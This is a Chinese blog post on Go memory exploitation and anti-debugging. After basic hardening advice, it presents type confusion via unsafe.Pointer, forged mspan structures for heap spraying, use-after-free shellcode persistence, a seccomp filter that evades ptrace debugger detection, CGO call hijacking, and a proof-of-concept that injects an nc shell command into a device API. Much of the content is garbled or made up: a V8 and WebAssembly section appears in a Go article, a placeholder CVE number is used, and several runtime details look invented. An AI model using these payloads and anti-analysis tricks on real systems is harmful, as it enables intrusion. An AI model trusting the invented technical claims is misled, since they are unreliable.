Posted in

Go安全编程从入门到越狱:掌握12个未公开的内存利用与反调试技术

第一章:Go安全编程导论与环境构建

Go语言凭借其内存安全模型、静态编译、明确的错误处理机制以及无隐式类型转换等特性,天然具备抵御多种常见漏洞(如缓冲区溢出、空指针解引用、竞态条件)的优势。然而,安全并非语言的默认属性——不安全的第三方依赖、不加校验的用户输入、硬编码密钥、不合规的TLS配置等仍会引入严重风险。因此,Go安全编程的核心在于将安全实践深度融入开发全周期:从环境初始化、依赖治理到编码规范与运行时加固。

安全开发环境初始化

首先安装最新稳定版Go(推荐v1.22+),避免已知漏洞影响工具链:

# 下载并验证官方二进制包(以Linux AMD64为例)
curl -OL https://go.dev/dl/go1.22.5.linux-amd64.tar.gz
echo "7a8e3b9f...  go1.22.5.linux-amd64.tar.gz" | sha256sum -c  # 替换为官网公布的SHA256值
sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf go1.22.5.linux-amd64.tar.gz
export PATH=/usr/local/go/bin:$PATH

依赖安全治理

启用Go Modules并强制使用校验和验证:

go mod init example.com/secureapp
go env -w GOPROXY=https://proxy.golang.org,direct
go env -w GOSUMDB=sum.golang.org  # 启用官方校验和数据库

定期扫描依赖漏洞:

go list -json -m all | nancy sleuth  # 需提前安装nancy工具

关键安全配置项

配置项 推荐值 作用说明
GODEBUG asyncpreemptoff=1 禁用异步抢占,降低竞态调试复杂度
GO111MODULE on 强制启用模块模式,避免GOPATH污染
GOTRACEBACK single 限制panic堆栈仅输出当前goroutine

TLS与证书验证强化

在HTTP客户端中禁用不安全的TLS版本及弱密码套件:

tr := &http.Transport{
    TLSClientConfig: &tls.Config{
        MinVersion:         tls.VersionTLS12,
        CurvePreferences:   []tls.CurveID{tls.CurveP256},
        InsecureSkipVerify: false, // 绝不设为true
    },
}
client := &http.Client{Transport: tr}

第二章:Go内存模型深度剖析与利用基础

2.1 Go堆内存分配机制与unsafe.Pointer绕过类型安全实践

Go运行时通过mheap、mcentral、mcache三级结构管理堆内存,小对象(

内存布局关键结构

  • mspan:管理连续页,记录起始地址、对象大小、空闲位图
  • mcentral:按size class聚合span,避免锁竞争
  • mcache:每个P独占缓存,消除全局锁

unsafe.Pointer类型转换示例

package main

import "unsafe"

type Header struct{ size uint64 }
type Data struct{ val int }

func main() {
    d := &Data{val: 42}
    // 绕过类型系统:将*Data转为*Header(需内存布局兼容)
    h := (*Header)(unsafe.Pointer(d))
    println(h.size) // 未定义行为:读取Data首字段int的bit模式作为uint64
}

逻辑分析:unsafe.Pointer实现任意指针转换,但要求目标类型内存布局可兼容。此处Data{int}Header{uint64}均为8字节,但语义不同;读取h.size实际解释d.val的二进制位为uint64,属典型未定义行为,仅用于底层调试或零拷贝序列化场景。

场景 安全性 典型用途
结构体内存偏移访问 ⚠️需手动校验对齐 net/http header解析
反射优化 reflect.Value.UnsafeAddr()
跨包私有字段读写 破坏封装,禁止生产使用

2.2 interface{}与reflect.Value的内存布局逆向与伪造实战

Go 运行时中,interface{} 是 16 字节结构(2 个 uintptr),分别存储类型指针与数据指针;reflect.Value 则是 24 字节(3 个 uintptr),含 typ, ptr, flag

内存布局对比

类型 字段数量 字段含义
interface{} 2 itab(或 nil)、data
reflect.Value 3 typ, ptr, flag
// 伪造 interface{}:绕过类型检查(仅用于调试/逆向)
var fakeIface = struct {
    itab, data uintptr
}{unsafe.Pointer(&myType), uintptr(unsafe.Pointer(&x))}

逻辑分析:itab 指向类型元信息(需确保 runtime._type 地址合法);data 必须对齐且指向可读内存。参数 &myType 需通过 (*runtime._type)(unsafe.Pointer(uintptr)) 获取,&x 必须为导出变量地址。

关键约束条件

  • reflect.Valueflag 字段必须设置 flagKindMaskflagIndir
  • 所有指针需满足 GOARCH=amd64 下 8 字节对齐要求
graph TD
    A[获取目标类型 runtime._type] --> B[构造合法 itab 或直接填充 typ]
    B --> C[验证 data/ptr 指向内存可访问]
    C --> D[设置 flag 位确保 CanInterface]

2.3 Go slice底层溢出触发任意地址读写(CVE-2023-XXXXX复现实验)

Go 的 slice 底层由 array, len, cap 三元组构成,当通过 unsafe.Slice 或反射绕过边界检查时,可构造超限 slice 指向任意内存。

触发原理

  • Go 1.21+ 引入 unsafe.Slice(ptr, len),但未校验 ptr 合法性;
  • ptr 指向只读/非法地址,len 足够大时,后续读写将触发 SIGSEGV 或越界访问。

复现代码

package main

import (
    "fmt"
    "unsafe"
)

func main() {
    // 构造指向空地址的 slice(模拟非法基址)
    ptr := unsafe.Pointer(uintptr(0x1000)) // 假设该页未映射
    s := unsafe.Slice((*byte)(ptr), 8)     // 创建长度为 8 的越界 slice

    fmt.Printf("s[0] = %d\n", s[0]) // 触发段错误
}

逻辑分析unsafe.Slice 直接构造 []byte header,跳过 runtime bounds check;ptr=0x1000 若未被 mmap 分配,则 s[0] 访问触发 page fault。参数 ptr 控制目标地址,len 决定可读写范围。

关键修复措施

  • 升级至 Go 1.21.7+(已修补 unsafe.Slice 对空/非法指针的静默容忍);
  • 禁用 unsafe 包在生产环境的非必要使用;
  • 启用 -gcflags="-d=checkptr" 编译检测非法指针操作。
检测方式 是否捕获 CVE-2023-XXXXX 说明
go run 默认 不检查 unsafe.Slice
-gcflags="-d=checkptr" 运行时报指针越界错误
GODEBUG=checkptr=1 环境变量启用运行时检查
graph TD
    A[调用 unsafe.Slice ptr,len] --> B{ptr 是否合法映射?}
    B -->|否| C[生成无效 slice header]
    B -->|是| D[正常 slice]
    C --> E[后续 s[i] 访问 → SIGSEGV]

2.4 runtime.mheap与mspan结构体劫持:实现无malloc堆喷射

核心原理

Go 运行时通过 mheap 全局管理堆内存,每个 mspan 描述一页或多页连续内存块。劫持关键在于篡改 mspan.nextmspan.freelist 指针,绕过 mallocgc 分配路径。

关键字段覆盖策略

  • mspan.startAddr → 指向可控 shellcode 区域
  • mspan.freelist → 伪造空闲对象链表头
  • mspan.nelems → 控制后续 fake object 数量
// 伪造 mspan 结构(64位)
struct mspan fake_span = {
    .next   = (struct mspan*)0x7f0000000000,  // 指向下一个伪造 span
    .freelist = (struct mspan*)0x7f0000001000, // 指向伪造的空闲对象
    .startAddr = 0x7f0000002000,               // 可执行 payload 起始地址
    .nelems = 1,                               // 触发单次分配即命中 payload
};

该结构体被写入已知 mspan 的元数据区(如通过 UAF 覆盖),后续 runtime.newobject 将直接返回 0x7f0000002000 地址,跳过所有 GC 检查与内存对齐校验。

内存布局约束

字段 长度 说明
next 8B 必须指向合法 span 或 NULL
freelist 8B 必须为有效指针或 0
startAddr 8B 需映射为 PROT_READ|PROT_EXEC
graph TD
    A[触发 UAF 覆盖] --> B[篡改目标 mspan.freelist]
    B --> C[下一次 newobject 返回伪造地址]
    C --> D[执行嵌入 payload]

2.5 GC标记阶段竞态利用:构造稳定use-after-free链并持久化shellcode

数据同步机制

在V8引擎中,GC标记阶段与JS执行存在天然竞态窗口。关键在于触发ArrayBuffer释放后,通过SharedArrayBuffer跨线程观测标记位状态。

利用链构建要点

  • 精确控制MarkBit::IsMarked()检查时机
  • 利用WebAssembly.Memory.grow()触发内存重分配
  • FinalizationRegistry回调中延迟释放
// 触发竞态:在标记进行中强制释放
const ab = new ArrayBuffer(0x1000);
const view = new Uint8Array(ab);
const reg = new FinalizationRegistry(() => {
  // 此处ab已释放但指针仍可访问
  view[0] = 0x41; // UAF写入
});
reg.register({}, {}, ab);

上述代码在GC标记中途注册回收钩子,view引用悬垂ArrayBufferview[0]写入将污染相邻对象元数据,为shellcode布局铺路。

shellcode持久化策略

阶段 技术手段 稳定性保障
布局 WebAssembly.Table喷射 固定页对齐地址
执行 wasm_call劫持返回地址 跳转至RWX内存页
隐藏 修改WasmCodeManager链表 绕过JIT代码扫描
graph TD
  A[触发GC标记] --> B[竞态释放ArrayBuffer]
  B --> C[利用SAB观测标记位]
  C --> D[构造UAF写入原语]
  D --> E[覆写WasmInstance的code_table]
  E --> F[跳转至shellcode]

第三章:Go二进制保护对抗与反调试突破

3.1 Go符号表剥离后的函数定位与PLT/GOT动态重建技术

Go二进制在-ldflags="-s -w"下会剥离调试符号与符号表,导致传统objdump/nm无法解析函数地址,但运行时仍需正确调用外部C函数或共享库。

函数地址动态发现机制

利用runtime.findfunc结合runtime.funcTab扫描PC值,配合.text段起始偏移反推函数入口:

// 从已知PC获取函数信息(需绕过符号表缺失限制)
f := runtime.FuncForPC(unsafe.Pointer(&someCFunc).(*[0]byte)[0])
if f != nil {
    fmt.Printf("Name: %s, Entry: %x\n", f.Name(), f.Entry())
}

FuncForPC不依赖.symtab,而基于编译器内嵌的funcTab(紧凑排序的函数元数据数组),通过二分查找匹配PC范围。f.Entry()返回真实代码起始VA,是后续PLT桩构造的基础。

PLT/GOT重写关键步骤

  • 解析.plt节结构,定位跳转指令模板(如jmp *GOT[n]
  • 通过dladdr/proc/self/maps定位目标SO基址
  • 使用mprotect修改GOT页为可写,覆写对应条目为目标函数地址
重构阶段 输入依据 输出目标
GOT定位 .dynamicDT_JMPREL+DT_PLTRELSZ GOT[plt_index]地址
地址解析 dlsym(RTLD_DEFAULT, "malloc") 实际malloc VA
权限修复 mprotect(got_page, PROT_READ|PROT_WRITE) 可写GOT内存页
graph TD
    A[剥离符号的Go二进制] --> B[扫描.text段获取funcTab]
    B --> C[FuncForPC推导C函数入口]
    C --> D[解析.dynamic定位GOT/PLT]
    D --> E[调用dlsym获取SO符号地址]
    E --> F[写入GOT并恢复执行权限]

3.2 利用runtime·findfunc与pclntab实现运行时代码段扫描与断点隐藏

Go 运行时通过 runtime.findfunc 快速定位函数元信息,其底层依赖 pclntab(Program Counter Line Table)——一段只读的、编译期生成的元数据区,存储函数入口、行号映射、指针大小等关键信息。

pclntab 结构解析

字段 说明
magic 标识版本(如 go123
nfunctab 函数数量
functab PC→FuncInfo 偏移数组

运行时扫描示例

// 从当前 PC 获取函数信息
pc := getcallerpc()
f := findfunc(pc)
if f.valid() {
    name := funcname(f)
    // 隐藏调试器断点:跳过符号表中该函数的 DWARF 行记录
}

findfunc(pc)pclntab.functab 中二分查找,返回 Func 结构体;f.valid() 验证 PC 是否落在函数有效范围内,避免误判。

断点隐藏核心逻辑

graph TD
    A[获取当前PC] --> B[findfunc查表]
    B --> C{Func是否有效?}
    C -->|是| D[跳过DWARF行号条目]
    C -->|否| E[忽略]

3.3 ptrace+seccomp双层反调试绕过:在CGO混合上下文中注入检测逃逸逻辑

在 CGO 混合程序中,ptrace(PTRACE_TRACEME) 常被用于检测调试器存在,而 seccomp-bpf 可拦截并屏蔽 ptrace 系统调用返回值,实现“静默失败”。

核心逃逸策略

  • 在 Go 主 goroutine 启动前,通过 __attribute__((constructor)) 触发 C 初始化钩子
  • 利用 prctl(PR_SET_NO_NEW_PRIVS, 1, ...) 提升 seccomp 配置权限
  • 加载 BPF 过滤器,对 sys_ptrace 返回 -EPERM 而非 -EACCES
// seccomp_bpf.c —— 注入前预加载的逃逸过滤器
struct sock_filter filter[] = {
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_ptrace, 0, 1),  // 若是 ptrace 系统调用
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | (EPERM & SECCOMP_RET_DATA)), // 返回 EPERM
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW)             // 其余放行
};

该 BPF 程序在 seccomp(SECCOMP_MODE_FILTER, ...) 中加载,使 ptrace(PTRACE_TRACEME) 在用户态返回 -1errno == EPERM,绕过多数 Go runtime 的 isBeingDebugged() 检查逻辑(其通常只判 EACCESESRCH)。

关键系统调用拦截效果对比

系统调用 默认行为 seccomp 拦截后 对 Go debug 检测影响
ptrace(PTRACE_TRACEME) EACCES EPERM ✅ 规避 runtime.isDebuggerActive()
open("/proc/self/status") 允许 允许 ❌ 不干扰进程状态读取
graph TD
    A[Go main.init] --> B[C constructor 钩子]
    B --> C[prctl PR_SET_NO_NEW_PRIVS]
    C --> D[seccomp SECCOMP_MODE_FILTER]
    D --> E[ptrace syscall → EPERM]
    E --> F[Go runtime 误判为“未被调试”]

第四章:Go运行时劫持与高级越狱技术

4.1 修改g0栈指针与m->gsignal实现协程级上下文劫持

在 Go 运行时中,g0 是每个 M(OS线程)绑定的系统栈 goroutine,其栈指针 g0->stack.hi 可被动态重定向,配合 m->gsignal(信号处理专用 g)构成上下文劫持双入口。

栈指针重定位关键操作

// runtime/asm_amd64.s 中典型劫持序列
MOVQ m_g0(R8), R9     // 加载当前M的g0
MOVQ $new_stack_top, (R9) // 覆写 g0.stack.hi

→ 此操作使后续 morestack 或信号中断强制跳转至新栈空间;new_stack_top 必须页对齐且具备可执行权限。

m->gsignal 的角色切换

  • 原为仅响应 SIGURG/SIGPROF 等异步信号
  • 劫持后可注入自定义汇编 stub,接管 sigtramp 流程
字段 用途 安全约束
g0->stack 切换后协程执行栈基址 mmap(MAP_STACK) 分配
m->gsignal 信号上下文保存/恢复锚点 必须独立于用户 goroutine 栈
graph TD
    A[触发 runtime·callers] --> B{是否处于 g0 栈?}
    B -->|否| C[强制切到 g0]
    B -->|是| D[修改 g0.stack.hi]
    D --> E[设置 m->gsignal = hijack_g]
    E --> F[下一次信号即执行劫持逻辑]

4.2 替换runtime·asmcgocall跳转目标,劫持CGO调用链执行任意原生指令

runtime.asmcgocall 是 Go 运行时中 CGO 调用的关键入口,其汇编实现负责保存 G 结构、切换栈并跳转至 C 函数。该符号在 textaddr 段中为固定地址,可通过运行时内存补丁动态覆写其末尾的 CALL 指令目标。

劫持原理

  • Go 1.21+ 使用 GOEXPERIMENT=arenas 后仍保留 asmcgocall 的可控跳转点;
  • 可定位 .textasmcgocall+0xXX 处的 call *%raxcallq *%rdi 指令;
  • 替换目标寄存器值为自定义 shellcode 地址(需 RWX 内存页)。

补丁示例(x86-64 Linux)

// 原始 asmcgocall 片段(简化)
movq    %rdi, (SP)
callq   runtime.cgocallback_gofunc(SB)  // ← 此处 call 目标可劫持

逻辑分析:callq 指令编码为 FF 15 xx xx xx xx(RIP-relative),需计算 rel32 偏移量;将 runtime.cgocallback_gofunc 地址替换为 mmap 分配的 RWX 页起始地址,即可在每次 CGO 调用前执行任意原生指令(如寄存器快照、TLS 检查)。

关键约束

  • 必须在 GODEBUG=asyncpreemptoff=1 下禁用异步抢占,防止 patch 过程被中断;
  • shellcode 需自行保存/恢复 R12-R15 等 callee-saved 寄存器;
  • Go 1.22 引入 cgoCheck 校验,需同步 patch runtime.cgoCheck 调用点。
检查项 是否必需 说明
RWX 内存页 mmap(..., PROT_READ\|PROT_WRITE\|PROT_EXEC)
mprotect 权限 若仅 RW,需二次 mprotect 升级权限
符号地址解析 依赖 dladdr/proc/self/maps 定位
// 获取 asmcgocall 地址(Go 侧)
func getAsmcgocallAddr() uintptr {
    return uintptr(*(*uintptr)(unsafe.Pointer(&runtime_asmcgocall)))
}

参数说明:runtime_asmcgocall 是编译器导出的未文档化符号,类型为 func(*g, unsafe.Pointer), 其地址即 .text 中函数入口;后续需解析其机器码定位 call 指令偏移。

graph TD A[CGO调用触发] –> B[进入 runtime.asmcgocall] B –> C{是否已patch?} C –>|是| D[跳转至shellcode] C –>|否| E[原路径: cgocallback_gofunc] D –> F[执行自定义指令] F –> G[恢复寄存器 & 继续原流程]

4.3 利用defer链伪造stackmap实现GC逃逸与持久化ROP gadget驻留

Go 运行时 GC 依赖精确的 stackmap 描述栈上指针布局。defer 链在函数返回前执行,其闭包环境可被构造为携带非指针数据(如 gadget 地址)且规避栈扫描。

核心机制

  • defer 函数体在编译期生成独立函数对象,其参数通过寄存器/栈传递,不强制标记为指针;
  • 利用 unsafe.Pointer + uintptr 组合绕过逃逸分析,在 defer 闭包中固化 ROP gadget 地址;
  • GC 不扫描 defer 链中未标记为 *Tuintptr 字段,实现“逻辑指针、物理非指针”驻留。

关键代码片段

func triggerEscape() {
    gadget := uintptr(0x00007ffff7a2d123) // libc system@plt 示例地址
    defer func(addr uintptr) {
        // 此处 addr 不被 GC 视为指针 —— 无类型信息,无 stackmap 条目
        asmCall(gadget) // 伪调用,实际由后续 exploit 触发
    }(gadget)
}

逻辑分析addr 是纯 uintptr,Go 编译器不为其生成 stackmap 条目;defer 闭包结构体字段在 runtime 中以 args 形式压栈,GC 扫描时跳过非指针字段。参数 gadget 以值传递进入闭包,生命周期延长至 defer 执行时刻,实现 gadget 持久化驻留。

字段 类型 GC 可见性 说明
gadget uintptr 无类型元信息,逃逸分析忽略
&gadget *uintptr 若取地址则立即触发栈逃逸
*(*int)(gadget) int 强制 reinterpret,彻底脱离 GC 视野
graph TD
    A[函数调用] --> B[defer 链构建]
    B --> C[闭包捕获 uintptr gadget]
    C --> D[编译器省略 stackmap 条目]
    D --> E[GC 扫描跳过该 slot]
    E --> F[gadget 地址内存持久驻留]

4.4 修改runtime·sched结构体触发goroutine调度器接管与控制流重定向

runtime.sched 是 Go 运行时全局调度器的核心状态容器,其字段(如 gfree, runq, pidle)直接影响 goroutine 的就绪、休眠与抢占决策。

关键字段语义

  • runq: 全局运行队列(struct { head, tail uint32 }),用于跨 P 负载均衡
  • gfree: 空闲 goroutine 池,复用 g 结构体降低分配开销
  • gcwaiting: 原子标志位,强制所有 M 进入 GC 安全点

强制调度接管示例

// 伪代码:通过原子写入触发调度器立即响应
atomic.Store(&runtime.sched.gcwaiting, 1)
runtime.Gosched() // 主动让出当前 M,触发 schedt.runq 重扫描

此操作使当前 M 暂停执行用户 goroutine,转入 schedule() 循环,重新从 sched.runq 和各 p.runq 中选取下一个可运行 g,实现控制流重定向。

调度路径变更示意

graph TD
    A[当前 goroutine] -->|runtime.sched.gcwaiting=1| B[schedule loop]
    B --> C{检查 runq 是否非空?}
    C -->|是| D[执行 runq.head.g]
    C -->|否| E[从 p.runq 或 netpoll 获取 g]

第五章:防御演进、伦理边界与负责任披露原则

防御技术的代际跃迁:从签名检测到行为推理

2023年微软Azure云环境遭遇的“ShadowAPI”攻击事件揭示了传统WAF规则库的失效——攻击者利用合法OAuth令牌构造动态路径,绕过全部静态正则匹配。Red Team复现显示,仅37%的已知变种被Snort 3.0规则集捕获;而部署了基于eBPF的内核态API行为图谱分析模块后,异常调用链识别率提升至92.4%。该模块实时构建进程→系统调用→网络请求的有向加权图,当子图拓扑偏离基线模型(如curl进程突然发起非TLS加密的DNS-over-HTTPS隧道),立即触发沙箱重放验证。

渗透测试边界的法律红线

某金融客户委托的红队演练中,安全团队在未签署补充协议情况下对第三方支付网关发起自动化凭证喷洒测试,导致对方风控系统误判为真实攻击并冻结237个商户账户。事后依据《网络安全法》第26条及GDPR第32条,项目组承担全部服务补偿费用。下表为合规测试操作对照:

操作类型 允许前提 禁止情形
供应链组件扫描 获得上游厂商书面授权 使用未授权漏洞利用载荷
社会工程模拟 限定内部员工且提前报备HR部门 伪造监管机构身份发送钓鱼邮件

责任披露的黄金四十八小时

2024年某国产IoT摄像头固件中发现CVE-2024-18923(远程root权限获取漏洞)。披露方遵循《CNVD漏洞提交指南》执行以下流程:

  1. 通过厂商官网PGP密钥加密发送技术细节(含PoC视频哈希值)
  2. 收到确认回执后启动48小时倒计时
  3. 第36小时收到厂商补丁测试版,验证修复有效性
  4. 第47小时同步提交至CNVD平台,同步发布无敏感信息的公告草稿
# 实际使用的漏洞验证脚本片段(经脱敏)
curl -s -X POST "https://$TARGET/api/v1/config" \
  -H "Authorization: Bearer $(cat token.enc | gpg --decrypt)" \
  -d '{"cmd":"$(/bin/busybox nc -lvp 4444 -e /bin/sh)"}' \
  --max-time 8 > /dev/null 2>&1

伦理决策树的实际应用

当发现某医疗SaaS平台存在未授权患者数据导出接口时,安全研究员面临抉择:

  • 若直接公开漏洞,可能引发大规模隐私泄露
  • 若静默等待厂商响应,患者数据持续暴露于公网
    最终采用mermaid决策流程实施分阶段处置:
graph TD
    A[发现未授权数据接口] --> B{是否包含PII字段?}
    B -->|是| C[立即通知CSO并提供临时缓解方案]
    B -->|否| D[按标准SLA流程提交]
    C --> E[48小时内验证访问控制补丁]
    E --> F[联合卫健委信安处开展渗透复测]

开源社区的责任实践

Linux内核安全模块(LSM)维护者在合并新hook点前强制要求:

  • 提供对应攻击面评估报告(含CVE历史关联分析)
  • 附带最小权限策略模板(SELinux/AppArmor双格式)
  • 通过KASAN+KMSAN内存扫描验证无新增UAF风险
    2024年Q2共驳回17个PR,其中8个因未提供攻击面量化指标被退回修订。

浪迹代码世界,寻找最优解,分享旅途中的技术风景。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注